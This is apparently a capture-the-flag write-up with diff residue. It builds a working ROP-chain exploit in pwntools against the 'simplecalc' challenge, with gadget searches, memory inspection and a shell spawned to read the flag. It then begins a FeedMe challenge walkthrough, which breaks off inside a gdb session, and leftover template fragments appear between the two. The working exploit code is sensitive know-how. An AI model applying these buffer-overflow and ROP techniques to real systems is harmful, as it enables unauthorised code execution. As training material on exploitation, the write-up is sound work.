[ 192.168.0.18/24 ] [ /dev/pts/14 ] [/opt/ROPgadget]
|
||||
→ ls
|
||||
AUTHORS LICENSE_BSD.txt README.md ropgadget ROPgadget.py scripts setup.cfg setup.py test-suite-binaries
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [/opt/ROPgadget]
|
||||
→ echo $PATH
|
||||
/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/lib/jvm/default/bin:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl:/var/lib/snapd/snap/bin
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [/opt/ROPgadget]
|
||||
→ sudo ln -s ROPgadget.py /usr/local/bin/ROPgadget.py
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [/opt/ROPgadget]
|
||||
→ ROPgadget
|
||||
[Error] Need a binary filename (--binary/--console or --help)
|
||||
|
||||
|
||||
|
||||
Once that's done we can continue and find the gadgets of rax, rdi, rsi and rdx:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
|
||||
→ ROPgadget --binary simplecalc | grep "pop rax ; ret"
|
||||
0x000000000044db32 : add al, ch ; pop rax ; ret
|
||||
0x000000000040b032 : add al, ch ; pop rax ; retf 2
|
||||
0x000000000040b02f : add byte ptr [rax], 0 ; add al, ch ; pop rax ; retf 2
|
||||
0x000000000040b030 : add byte ptr [rax], al ; add al, ch ; pop rax ; retf 2
|
||||
0x00000000004b0801 : in al, 0x4c ; pop rax ; retf
|
||||
0x000000000040b02e : in al, dx ; add byte ptr [rax], 0 ; add al, ch ; pop rax ; retf 2
|
||||
0x0000000000474855 : or dh, byte ptr [rcx] ; ror byte ptr [rax - 0x7d], 0xc4 ; pop rax ; ret
|
||||
0x000000000044db34 : pop rax ; ret
|
||||
0x000000000045d707 : pop rax ; retf
|
||||
0x000000000040b034 : pop rax ; retf 2
|
||||
0x0000000000474857 : ror byte ptr [rax - 0x7d], 0xc4 ; pop rax ; ret
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
|
||||
→ ROPgadget --binary simplecalc | grep "pop rdi ; ret"
|
||||
0x000000000044bbbc : inc dword ptr [rbx - 0x7bf0fe40] ; pop rdi ; ret
|
||||
0x0000000000401b73 : pop rdi ; ret
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
|
||||
→ ROPgadget --binary simplecalc | grep "pop rsi ; ret"
|
||||
0x00000000004ac9b4 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rsi ; ret
|
||||
0x00000000004ac9b6 : add byte ptr [rax], al ; pop rsi ; ret
|
||||
0x0000000000437aa9 : pop rdx ; pop rsi ; ret
|
||||
0x0000000000401c87 : pop rsi ; ret
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
|
||||
→ ROPgadget --binary simplecalc | grep "pop rdx ; ret"
|
||||
0x00000000004a868c : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rdx ; ret 0x45
|
||||
0x00000000004a868e : add byte ptr [rax], al ; pop rdx ; ret 0x45
|
||||
0x00000000004afd61 : js 0x4afdde ; pop rdx ; retf
|
||||
0x0000000000414ed0 : or al, ch ; pop rdx ; ret 0xffff
|
||||
0x0000000000437a85 : pop rdx ; ret
|
||||
0x00000000004a8690 : pop rdx ; ret 0x45
|
||||
0x00000000004b2dd8 : pop rdx ; ret 0xfffd
|
||||
0x0000000000414ed2 : pop rdx ; ret 0xffff
|
||||
0x00000000004afd63 : pop rdx ; retf
|
||||
0x000000000044af60 : pop rdx ; retf 0xffff
|
||||
0x00000000004560ae : test byte ptr [rdi - 0x1600002f], al ; pop rdx ; ret
|
||||
|
||||
|
||||
|
||||
Now we know that the gadgets we need to control the 4 registers are :
|
||||
|
||||
|
||||
rax: 0x44db34
|
||||
rdi: 0x401b73
|
||||
rsi: 0x401c87
|
||||
rdx: 0x437a85
|
||||
|
||||
|
||||
|
||||
Now this is where the writeup of this binary challenge hits a very random point. you basically have to find a gadget that will write an eight byte value to a memory region, and it's a mov involving that will move 4 bytes from **rdx** to whatever memory is **pointed** by **rax** :
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
|
||||
→ ROPgadget --binary simplecalc | grep "mov" | grep "rdx" | grep "\[rax\]" | grep "ptr"
|
||||
|
||||
|
||||
|
||||
|
||||
0x000000000046a7a9 : mov qword ptr [rax], rdx ; jmp 0x46a257
|
||||
0x0000000000461a5f : mov qword ptr [rax], rdx ; mov eax, dword ptr [rsi] ; pop rbx ; ret
|
||||
0x000000000040274f : mov qword ptr [rax], rdx ; mov edx, 0xfe8 ; jmp 0x4026b4
|
||||
0x000000000046277d : mov qword ptr [rax], rdx ; mov qword ptr [rax + 0x40], rsi ; jmp 0x46272c
|
||||
0x000000000040a3ee : mov qword ptr [rax], rdx ; mov qword ptr [rax + 8], rdx ; jmp 0x40a102
|
||||
0x000000000047efb8 : mov qword ptr [rax], rdx ; pop rbx ; ret
|
||||
|
||||
**0x000000000044526e : mov qword ptr [rax], rdx ; ret**
|
||||
|
||||
0x0000000000462730 : mov qword ptr [rax], rdx ; xor eax, eax ; ret
|
||||
|
||||
|
||||
|
||||
So here we see at the address **0x0044526e** that this mov instruction will move the value of rdx into the memory address that is pointed by rax. This is also convenient because we have gadgets for the rdx and rax registers. The last gadget we need is a syscall gadget:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
|
||||
→ ROPgadget --binary simplecalc | grep ": syscall"
|
||||
0x0000000000400488 : syscall
|
||||
|
||||
|
||||
|
||||
We don't have a choice here, the only syscall is at **0x00400488** , Now we need to figure out where in memory we will write the string **/bin/sh** So we need to check the memory mappings while the binary is running:
|
||||
|
||||
|
||||
gef➤ vmmap
|
||||
[ Legend: Code | Heap | Stack ]
|
||||
Start End Offset Perm Path
|
||||
0x0000000000400000 0x00000000004c1000 0x0000000000000000 r-x /home/nothing/binexp/2/calc/simplecalc
|
||||
0x00000000006c0000 0x00000000006c3000 0x00000000000c0000 rw- /home/nothing/binexp/2/calc/simplecalc
|
||||
0x00000000006c3000 0x00000000006e9000 0x0000000000000000 rw- [heap]
|
||||
0x00007ffff7ff9000 0x00007ffff7ffd000 0x0000000000000000 r-- [vvar]
|
||||
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso]
|
||||
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
|
||||
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]
|
||||
|
||||
|
||||
|
||||
We see that the memory region begins at **0x6c1000** and ends at **0x6c3000** the permissions allow us to read and write to it, and in addition, that is mapped from the binary. Since there is no PIE the addresses will be the same everytime, therefore we don't need an infoleak. Here we want to take a look at the memory addresses after**0x6c0000** to see if we can find an empty space where we can write our stuff:
|
||||
|
||||
|
||||
gef➤ x/g 0x6c0000
|
||||
0x6c0000: 0x200e41280e41300e
|
||||
|
||||
gef➤ x/20g 0x6c0000
|
||||
0x6c0000: 0x200e41280e41300e 0xe42100e42180e42
|
||||
0x6c0010: 0xb4108 0xd0a40000002c
|
||||
0x6c0020: 0x6cfffd1fd0 0x80e0a69100e4400
|
||||
0x6c0030: 0xb42080e0a460b4b 0xe470b49080e0a57
|
||||
0x6c0040: 0x8 0xd0d400000024
|
||||
0x6c0050: 0x144fffd2010 0x5a020283100e4500
|
||||
0x6c0060: 0xee3020b41080e0a 0x8
|
||||
0x6c0070: 0xd0fc00000064 0x26cfffd2138
|
||||
0x6c0080: 0xe47028f100e4200 0x48d200e42038e18
|
||||
0x6c0090: 0x300e41058c280e42 0x440783380e410686
|
||||
|
||||
gef➤ x/20g 0x6c1000
|
||||
0x6c1000: 0x0 0x0
|
||||
0x6c1010: 0x0 0x431070
|
||||
0x6c1020: 0x430a40 0x428e20
|
||||
0x6c1030: 0x4331b0 0x424c50
|
||||
0x6c1040: 0x42b940 0x423740
|
||||
0x6c1050: 0x4852d0 0x4178d0
|
||||
0x6c1060: 0x0 0x0
|
||||
0x6c1070 <****_dl_tls_static_size>: 0x1180 0x0
|
||||
0x6c1080 <****_nl_current_default_domain>: 0x4945f7 0x0
|
||||
0x6c1090 <****locale_alias_path.10061>: 0x49462a 0x6c32a0
|
||||
|
||||
It looks like **0x6c1000** is empty, so we should be able to write to it without messing up anything.
|
||||
|
||||
Now we need to worry about what deals with what we are overflowing onto the stack:
|
||||
|
||||
|
||||
**************************************************************
|
||||
* FUNCTION *
|
||||
**************************************************************
|
||||
undefined main()
|
||||
undefined AL:1
|
||||
undefined4 Stack[-0xc]:4 local_c XREF[7]: 00401443(W),
|
||||
00401481(R),
|
||||
004014af(R),
|
||||
004014dd(R),
|
||||
00401508(R),
|
||||
00401567(RW),
|
||||
0040156e(R)
|
||||
undefined8 Stack[-0x18]:8 local_18 XREF[8]: 0040143f(W),
|
||||
0040148e(R),
|
||||
004014bc(R),
|
||||
004014ea(R),
|
||||
00401515(R),
|
||||
00401537(R),
|
||||
0040154a(R),
|
||||
00401577(R)
|
||||
undefined4 Stack[-0x1c]:4 local_1c XREF[7]: 00401392(W),
|
||||
004013e9(*),
|
||||
00401409(R),
|
||||
00401413(R),
|
||||
0040142f(R),
|
||||
0040152e(R),
|
||||
0040156b(R)
|
||||
undefined4 Stack[-0x20]:4 local_20 XREF[6]: 00401454(*),
|
||||
00401474(R),
|
||||
004014a2(R),
|
||||
004014d0(R),
|
||||
004014fb(R),
|
||||
00401526(R)
|
||||
undefined1 Stack[-0x48]:1 local_48 XREF[1]: 0040153b(*)
|
||||
undefined4 Stack[-0x4c]:4 local_4c XREF[1]: 0040138b(W)
|
||||
undefined8 Stack[-0x58]:8 local_58 XREF[1]: 0040138e(W)
|
||||
main XREF[4]: Entry Point(*),
|
||||
_start:00400f6b(*),
|
||||
_start:00400f6b(*), 004b3078(*)
|
||||
00401383 55 PUSH RBP
|
||||
|
||||
|
||||
|
||||
|
||||
if (local_20 == 5) {
|
||||
memcpy(local_48,local_18,(long)(local_1c << 2));
|
||||
free(local_18);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
So here we see that between the vulnerable buffer **local_48** (which is handled inside of the vulnerable memcpy call we saw earlier) and the bottom of the stack there is the **local_18** pointer that contains our calculations. It will get overwritten as part of the overflow. This is a problem since this address is freed prior to our code being executed as you can see above.
|
||||
|
||||
Now the trick here was that you needed to take a look at the [sourcecode](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#free) of the free functioni (lines 3092- 3103):
|
||||
|
||||
|
||||
void
|
||||
__libc_free (void *mem)
|
||||
{
|
||||
mstate ar_ptr;
|
||||
mchunkptr p; /* chunk corresponding to mem */
|
||||
void (*hook) (void *, const void *)
|
||||
= atomic_forced_read (__free_hook);
|
||||
if (__builtin_expect (hook != NULL, 0))
|
||||
{
|
||||
(*hook)(mem, RETURN_ADDRESS (0));
|
||||
return;
|
||||
|
||||
|
||||
Here you see that if the arguement to the free() function is a null pointer (0x0) then it just returns. Since the function writing the data for the overflow is memcpy, we can just write null bytes. So if we just fill up the space between the start of our input and the return address with null bytes, we will be fine. With that, we can now create the exploit including the ROP chain to spawn a shell and print out the flag:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
|
||||
→ vim exploit.py
|
||||
|
||||
|
||||
|
||||
|
||||
from pwn import *
|
||||
|
||||
#target is the variable for the process ./simplecalc
|
||||
target = process('./simplecalc')
|
||||
|
||||
#recieve text until calculations:
|
||||
target.recvuntil('calculations: ')
|
||||
#we want 100 calculations)
|
||||
target.sendline('100')
|
||||
|
||||
|
||||
|
||||
|
||||
Now here we use the 'target' variable to follow the process of our binary, we want to recieve the output text until 'calculations: ', Then we want to send '100' as our choice for calculations. Next we will setup our rop gadgets:
|
||||
|
||||
|
||||
# Establish our rop gadgets
|
||||
popRax = 0x44db34
|
||||
popRdi = 0x401b73
|
||||
popRsi = 0x401c87
|
||||
popRdx = 0x437a85
|
||||
|
||||
# 0x000000000044526e : mov qword ptr [rax], rdx ; ret
|
||||
movGadget = 0x44526e
|
||||
syscall = 0x400488
|
||||
|
||||
|
||||
|
||||
So here we set the constants we found earlier the addresses of the Rax, rdi, rsi and rdx gadgets, as well as the movGadget and the syscall we need. Next we need to submit an 'addition'(option 1) to the binary file of x=100 and y=arguement - 100:
|
||||
|
||||
|
||||
def addSingle(x):
|
||||
target.recvuntil("=> ")
|
||||
target.sendline("1")
|
||||
|
||||
target.recvuntil("Integer x: ")
|
||||
target.sendline("100")
|
||||
|
||||
target.recvuntil("Integer y: ")
|
||||
target.sendline(str(x - 100)) #making use the arguement being passed into the function here
|
||||
|
||||
|
||||
|
||||
And the second function makes use of the function we defined above:
|
||||
|
||||
|
||||
def add(z):
|
||||
x = z & 0xffffffff
|
||||
y = ((z & 0xffffffff00000000) >> 32)
|
||||
addSingle(x)
|
||||
addSingle(y)
|
||||
|
||||
# Fill up the space between the start of our input and the return address
|
||||
for i in range(9):
|
||||
# Fill it up with null bytes, to make the ptr passed to free be a null pointer
|
||||
# So free doesn't crash
|
||||
add(0x0)
|
||||
|
||||
|
||||
|
||||
This will make sure we fill up the space between the start of our input and the return address with 9 nullbytes to make the ptr passed to the free() function be a null pointer. The add() function that is defined here makes use of addSingle() that we defined above. These 2 additions will nake sure that we give input via addition, and next we need to make our actual ROP chain:
|
||||
|
||||
|
||||
#Write "/bin/sh" to 0x6c1000
|
||||
|
||||
#pop rax, 0x6c1000 ; ret
|
||||
#pop rdx, "/bin/sh\x00" ; ret
|
||||
#mov qword ptr [rax], rdx ; ret
|
||||
|
||||
|
||||
add(popRax)
|
||||
add(0x6c1000)
|
||||
|
||||
add(popRdx)
|
||||
add(0x0068732f6e69622f) # "/bin/sh" in hex
|
||||
|
||||
|
||||
|
||||
|
||||
This will make use of the 'add' function we defined above, to put the value of popRax(0x44db34) to the ROPchain, as well as our actual shellcode:
|
||||
|
||||
|
||||
# Move the needed values into the registers
|
||||
#pop rax, 0x3b ; ret
|
||||
#pop rdi, 0x6c1000 ; ret
|
||||
#pop rsi, 0x0 ; ret
|
||||
#pop rdx, 0x0 ; ret
|
||||
|
||||
add(movGadget)
|
||||
|
||||
add(popRax) # Specify which syscall to make
|
||||
add(0x3b)
|
||||
|
||||
add(popRdi) # Specify pointer to "/bin/sh"
|
||||
add(0x6c1000)
|
||||
|
||||
add(popRsi) # Specify no arguments or environment variables
|
||||
add(0x0)
|
||||
add(popRdx)
|
||||
add(0x0)
|
||||
|
||||
add(syscall) # Syscall instruction
|
||||
|
||||
|
||||
|
||||
We specify the syscall ID into rax, the first arguement (/bin/sh) into rdi, and then both rsi and rdx (2nd and 3rd arguements) contain nullbytes. And lastly we make the syscall to end our ropchain.
|
||||
|
||||
|
||||
target.sendline('5') # Save and exit to execute memcpy and trigger buffer overflow
|
||||
|
||||
# Drop to an interactive shell to use our new shell
|
||||
target.interactive()
|
||||
|
||||
|
||||
|
||||
At last, once we finished feeding the ropchain into the binary, we get to the memcpy call to trigger it and then drop into an interactive shell:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/calc]
|
||||
→ python3 exploit.py
|
||||
[+] Starting local process './simplecalc': pid 3475833
|
||||
[*] Switching to interactive mode
|
||||
Result for x + y is 0.
|
||||
|
||||
Options Menu:
|
||||
[1] Addition.
|
||||
[2] Subtraction.
|
||||
[3] Multiplication.
|
||||
[4] Division.
|
||||
[5] Save and Exit.
|
||||
=> $ id
|
||||
uid=1000(nothing) gid=1000(nothing) groups=1000(nothing),90(network),98(power),972(libvirt),988(storage),990(optical),995(audio),998(wheel)
|
||||
$ cat flag.txt
|
||||
flag{g0ttem_b0yz}
|
||||
|
||||
|
||||
|
||||
And that's it! We have been able to print spawn a shell and print out the contents of the flag.
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
688
2/feed.md
Normal file
|
@ -0,0 +1,688 @@
|
|||
# DCQuals 2016 FeedMe
|
||||
|
||||
Yet another insane challenge, buckle up !
|
||||
|
||||
## Downloading the binary file
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/feed]
|
||||
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/07-bof_static/dcquals16_feedme/feedme
|
||||
--2021-03-06 11:21:19-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/07-bof_static/dcquals16_feedme/feedme
|
||||
Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
|
||||
Resolving github.com (github.com)... 140.82.121.4
|
||||
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
|
||||
HTTP request sent, awaiting response... 302 Found
|
||||
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/07-bof_static/dcquals16_feedme/feedme [following]
|
||||
--2021-03-06 11:21:20-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/07-bof_static/dcquals16_feedme/feedme
|
||||
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.109.133, 185.199.108.133, ...
|
||||
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: 664792 (649K) [application/octet-stream]
|
||||
Saving to: ‘feedme’
|
||||
|
||||
feedme 100%[=======================================================================================================================================================>] 649.21K --.-KB/s in 0.1s
|
||||
|
||||
2021-03-06 11:21:20 (5.42 MB/s) - ‘feedme’ saved [664792/664792]
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/feed]
|
||||
→ file feedme
|
||||
feedme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/feed]
|
||||
→ chmod +x feedme
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Solution
|
||||
|
||||
First let's run the binary to see what it does after using pwn checksec on it:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/feed]
|
||||
→ pwn checksec feedme
|
||||
[*] '/home/nothing/binexp/2/feed/feedme'
|
||||
Arch: i386-32-little
|
||||
RELRO: No RELRO
|
||||
Stack: No canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x8048000)
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/feed]
|
||||
→ ./feedme
|
||||
FEED ME!
|
||||
yes
|
||||
no
|
||||
yes
|
||||
no
|
||||
yes
|
||||
no
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
|
||||
^C
|
||||
|
||||
|
||||
|
||||
Here we see that we are dealing with a 32bit statically linked binary, with a non executable stack (NX). When we run it, the program prompts us with some text before we can give some input, it seems to be able to take in a certain amount of input, so let's see how much:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/feed]
|
||||
→ ./feedme
|
||||
FEED ME!
|
||||
000000000000000000000000000000000
|
||||
000000000000000000000000000000000
|
||||
ATE 30303030303030303030303030303030...
|
||||
*** stack smashing detected ***: ./feedme terminated
|
||||
Child exit.
|
||||
FEED ME!
|
||||
|
||||
|
||||
|
||||
Apparently we are able to overwrite a stack canary, so we probably have a stack buffer overflow somewhere. In addition to that, when it detected that the stack canary was overwritten, it terminated the process and kept asking for more input. The binary is probably designed in such a way that it spawns child processes which is where we scan in the input and overwrite the stack canary. When the program sees tha tthe stack canary got edited, it terminates the child process, and the parent process spawns another instance and continues asking us for input. So let's take a look at the binary inside of ghidra:
|
||||
|
||||

|
||||
|
||||
Once again, the main function is not called 'main' so we find it by searching for the text that the binary outputs, (CTRL+SHIFT+E) and we find the following:
|
||||
|
||||
|
||||
uint FUN_08049036(void)
|
||||
|
||||
{
|
||||
byte bVar1;
|
||||
undefined4 uVar2;
|
||||
uint uVar3;
|
||||
int in_GS_OFFSET;
|
||||
undefined local_30 [32];
|
||||
int local_10;
|
||||
|
||||
local_10 = *(int *)(in_GS_OFFSET + 0x14);
|
||||
FUN_0804fc60("FEED ME!");
|
||||
bVar1 = FUN_08048e42();
|
||||
FUN_08048e7e(local_30,bVar1);
|
||||
uVar2 = FUN_08048f6e(local_30,bVar1,0x10);
|
||||
FUN_0804f700("ATE %s\n",uVar2);
|
||||
uVar3 = (uint)bVar1;
|
||||
if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {
|
||||
uVar3 = FUN_0806f5b0();
|
||||
}
|
||||
return uVar3;
|
||||
}
|
||||
|
||||
|
||||
|
||||
Here we see that much like our previous challenge, there aren't any scanf nor any gets first off, our input text (most probably **local_32** which can hold 32 bytes) gets passed into the **FUN_08048f6e** function along with the value returned by the **FUN_08048e42()** function and the hex value **0x10**.
|
||||
|
||||
We also see that the function**FUN_08048f6e(local_30,bVar1,0x10);** takes in our input value as well as a limit of 16 (0x10) bytes of input, that function returns a pointer to 16 bytes of our input, so let's look at it from gdb:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/feed]
|
||||
→ gdb ./feedme
|
||||
GNU gdb (GDB) 10.1
|
||||
Copyright (C) 2020 Free Software Foundation, Inc.
|
||||
License GPLv3+: GNU GPL version 3 or later
|
||||
This is free software: you are free to change and redistribute it.
|
||||
There is NO WARRANTY, to the extent permitted by law.
|
||||
Type "show copying" and "show warranty" for details.
|
||||
This GDB was configured as "x86_64-pc-linux-gnu".
|
||||
Type "show configuration" for configuration details.
|
||||
For bug reporting instructions, please see:
|
||||
.
|
||||
Find the GDB manual and other documentation resources online at:
|
||||
.
|
||||
|
||||
For help, type "help".
|
||||
Type "apropos word" to search for commands related to "word"...
|
||||
GEF for linux ready, type `gef' to start, `gef config' to configure
|
||||
92 commands loaded for GDB 10.1 using Python engine 3.9
|
||||
Reading symbols from ./feedme...
|
||||
(No debugging symbols found in ./feedme)
|
||||
gef➤ set follow-fork-mode child
|
||||
gef➤ show follow-fork mode
|
||||
Debugger response to a program call of fork or vfork is "child".
|
||||
|
||||
|
||||
|
||||
Now here we basically set gdb so that it follows the forks created by the binary file, now we need breakpoints:
|
||||
|
||||

|
||||
|
||||
Now we know where we want our 3 breakpoints:
|
||||
|
||||
|
||||
1) 0x8049053
|
||||
2) 0x8049069
|
||||
3) 0x8049069
|
||||
|
||||
|
||||
|
||||
So we continue with gdb:
|
||||
|
||||
|
||||
gef➤ set follow-fork-mode child
|
||||
gef➤ show follow-fork mode
|
||||
Debugger response to a program call of fork or vfork is "child".
|
||||
gef➤ b *0x8049053
|
||||
Breakpoint 1 at 0x8049053
|
||||
gef➤ b *0x8049069
|
||||
Breakpoint 2 at 0x8049069
|
||||
gef➤ b *0x8049084
|
||||
Breakpoint 3 at 0x8049084
|
||||
gef➤ r
|
||||
Starting program: /home/nothing/binexp/2/feed/feedme
|
||||
[Attaching after process 3458879 fork to child process 3458883]
|
||||
[New inferior 2 (process 3458883)]
|
||||
[Detaching after fork from parent process 3458879]
|
||||
[Inferior 1 (process 3458879) detached]
|
||||
FEED ME!
|
||||
[Switching to process 3458883]
|
||||
|
||||
Thread 2.1 "feedme" hit Breakpoint 1, 0x08049053 in ?? ()
|
||||
[ Legend: Modified register | Code | Heap | Stack | String ]
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
|
||||
$eax : 0x9
|
||||
$ebx : 0x080481a8 → push ebx
|
||||
$ecx : 0x080eb4d4 → 0x00000000
|
||||
$edx : 0x9
|
||||
$esp : 0xffffd080 → 0x080be70c → "FEED ME!"
|
||||
$ebp : 0xffffd0c8 → 0xffffd0f8 → 0xffffd118 → 0x08049970 → push ebx
|
||||
$esi : 0x0
|
||||
$edi : 0x080ea00c → 0x08067f90 → mov edx, DWORD PTR [esp+0x4]
|
||||
$eip : 0x08049053 → 0xfffdeae8 → 0x00000000
|
||||
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
|
||||
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
|
||||
0xffffd080│+0x0000: 0x080be70c → "FEED ME!" ← $esp
|
||||
0xffffd084│+0x0004: 0x00000000
|
||||
0xffffd088│+0x0008: 0x00000000
|
||||
0xffffd08c│+0x000c: 0x0806ccb7 → sub esp, 0x20
|
||||
0xffffd090│+0x0010: 0x080ea200 → 0xfbad2887
|
||||
0xffffd094│+0x0014: 0x080ea247 → 0x0eb4d40a
|
||||
0xffffd098│+0x0018: 0x080ea248 → 0x080eb4d4 → 0x00000000
|
||||
0xffffd09c│+0x001c: 0x00000000
|
||||
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
|
||||
0x8049041 add BYTE PTR [ecx-0x3fce0bbb], cl
|
||||
0x8049047 mov DWORD PTR [esp], 0x80be70c
|
||||
0x804904e call 0x804fc60
|
||||
●→ 0x8049053 call 0x8048e42
|
||||
↳ 0x8048e42 push ebp
|
||||
0x8048e43 mov ebp, esp
|
||||
0x8048e45 sub esp, 0x28
|
||||
0x8048e48 mov DWORD PTR [esp+0x8], 0x1
|
||||
0x8048e50 lea eax, [ebp-0xd]
|
||||
0x8048e53 mov DWORD PTR [esp+0x4], eax
|
||||
──────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
|
||||
0x8048e42 (
|
||||
)
|
||||
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
|
||||
[#0] Id 1, Name: "feedme", stopped 0x8049053 in ?? (), reason: BREAKPOINT
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
|
||||
[#0] 0x8049053 → call 0x8048e42
|
||||
[#1] 0x80490dc → movzx eax, al
|
||||
[#2] 0x80491da → mov eax, 0x0
|
||||
[#3] 0x80493ba → mov DWORD PTR [esp], eax
|
||||
[#4] 0x8048d2b → hlt
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
|
||||
gef➤
|
||||
|
||||
|
||||
|
||||
After a bit of gdb wizardry that i don't even understand, we arrive at this:
|
||||
|
||||
|
||||
gef➤ x/4w $esp
|
||||
0xffffd080: 0xffffd09c 0x31 0x10 0x806ccb7
|
||||
|
||||
gef➤ x/50w 0xffffd09c
|
||||
0xffffd09c: 0x77322f78 0x73652420 0xa0a0a70 0xa0a0a0a
|
||||
0xffffd0ac: 0xa0a0a0a 0x6e69660a 0xa687369 0x300a300a
|
||||
0xffffd0bc: 0x30303030 0x30303030 0x30303030 0x30303030
|
||||
0xffffd0cc: 0x8049030 0x80ea0a0 0x0 0x80ed840
|
||||
0xffffd0dc: 0x804f8b4 0x0 0x0 0x0
|
||||
0xffffd0ec: 0x80481a8 0x80481a8 0x0 0xffffd118
|
||||
0xffffd0fc: 0x80491da 0x80ea0a0 0x0 0x2
|
||||
0xffffd10c: 0x0 0x0 0x80ea00c 0x8049970
|
||||
0xffffd11c: 0x80493ba 0x1 0xffffd1a4 0xffffd1ac
|
||||
0xffffd12c: 0x0 0x0 0x80481a8 0x0
|
||||
0xffffd13c: 0x80ea00c 0x8049970 0x488454cd 0xbe00e522
|
||||
0xffffd14c: 0x0 0x0 0x0 0x0
|
||||
0xffffd15c: 0x0 0x0
|
||||
|
||||
gef➤ info frame
|
||||
Stack level 0, frame at 0xffffd0d0:
|
||||
eip = 0x8049084; saved eip = 0x8049030
|
||||
called by frame at 0x30303038
|
||||
Arglist at 0xffffd0c8, args:
|
||||
Locals at 0xffffd0c8, Previous frame's sp is 0xffffd0d0
|
||||
Saved registers:
|
||||
ebp at 0xffffd0c8, eip at 0xffffd0cc
|
||||
|
||||
|
||||
|
||||
The start of our input is being scanned at **0xffffd09c** and the return address is at **0xffffd0cc** , Somehow you have to find that the stack canary is some random hex value, at some memory address because it's 4 bytes of random values with the last value being a nullbyte. and that there is a 0x20 byte offset to the stack canary and :
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/1 ] [binexp/2/feed]
|
||||
→ python3
|
||||
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
|
||||
[GCC 10.2.0] on linux
|
||||
Type "help", "copyright", "credits" or "license" for more information.
|
||||
|
||||
>>> hex( 0xffffd0cc - 0xffffd09c )
|
||||
'0x30'
|
||||
|
||||
|
||||
|
||||
Now we know that there is a 0x30 bytes offset to the return address. Both the 0x30 and the 0x20 offset are within the reach of our buffer overflow Lastly we need to know where the feed function is called:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/feed]
|
||||
→ gdb ./feedme
|
||||
GNU gdb (GDB) 10.1
|
||||
Copyright (C) 2020 Free Software Foundation, Inc.
|
||||
License GPLv3+: GNU GPL version 3 or later
|
||||
This is free software: you are free to change and redistribute it.
|
||||
There is NO WARRANTY, to the extent permitted by law.
|
||||
Type "show copying" and "show warranty" for details.
|
||||
This GDB was configured as "x86_64-pc-linux-gnu".
|
||||
Type "show configuration" for configuration details.
|
||||
For bug reporting instructions, please see:
|
||||
.
